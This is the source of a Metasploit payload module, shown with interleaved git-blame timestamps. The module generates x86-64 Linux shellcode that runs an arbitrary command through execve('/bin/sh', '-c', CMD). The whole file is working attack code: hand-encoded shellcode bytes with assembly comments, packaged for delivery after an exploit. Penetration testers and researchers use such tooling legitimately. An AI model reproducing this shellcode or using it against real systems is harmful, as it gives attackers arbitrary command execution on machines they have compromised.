2011-10-23 11:56:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-23 11:56:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2011-05-20 23:51:19 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Metasploit3
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2015-08-13 16:10:50 +00:00
|
|
|
CachedSize = 47
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
2011-05-20 23:51:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Execute Command',
|
|
|
|
'Description' => 'Execute an arbitrary command',
|
|
|
|
'Author' => 'ricky',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86_64))
|
2011-05-20 23:51:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2011-05-20 23:51:19 +00:00
|
|
|
|
2015-05-15 02:27:25 +00:00
|
|
|
def generate_stage(opts={})
|
2015-08-13 16:10:50 +00:00
|
|
|
cmd = (datastore['CMD'] || '') + "\x00"
|
2013-08-30 21:28:54 +00:00
|
|
|
call = "\xe8" + [cmd.length].pack('V')
|
|
|
|
payload =
|
|
|
|
"\x6a\x3b" + # pushq $0x3b
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x99" + # cltd
|
|
|
|
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
|
|
|
|
"\x73\x68\x00" + #
|
|
|
|
"\x53" + # push %rbx
|
|
|
|
"\x48\x89\xe7" + # mov %rsp,%rdi
|
|
|
|
"\x68\x2d\x63\x00\x00" + # pushq $0x632d
|
|
|
|
"\x48\x89\xe6" + # mov %rsp,%rsi
|
|
|
|
"\x52" + # push %rdx
|
|
|
|
call + # callq 2d <run>
|
|
|
|
cmd + # .ascii "cmd\0"
|
|
|
|
"\x56" + # push %rsi
|
|
|
|
"\x57" + # push %rdi
|
|
|
|
"\x48\x89\xe6" + # mov %rsp,%rsi
|
|
|
|
"\x0f\x05" # syscall
|
|
|
|
end
|
2011-05-20 23:51:19 +00:00
|
|
|
end
|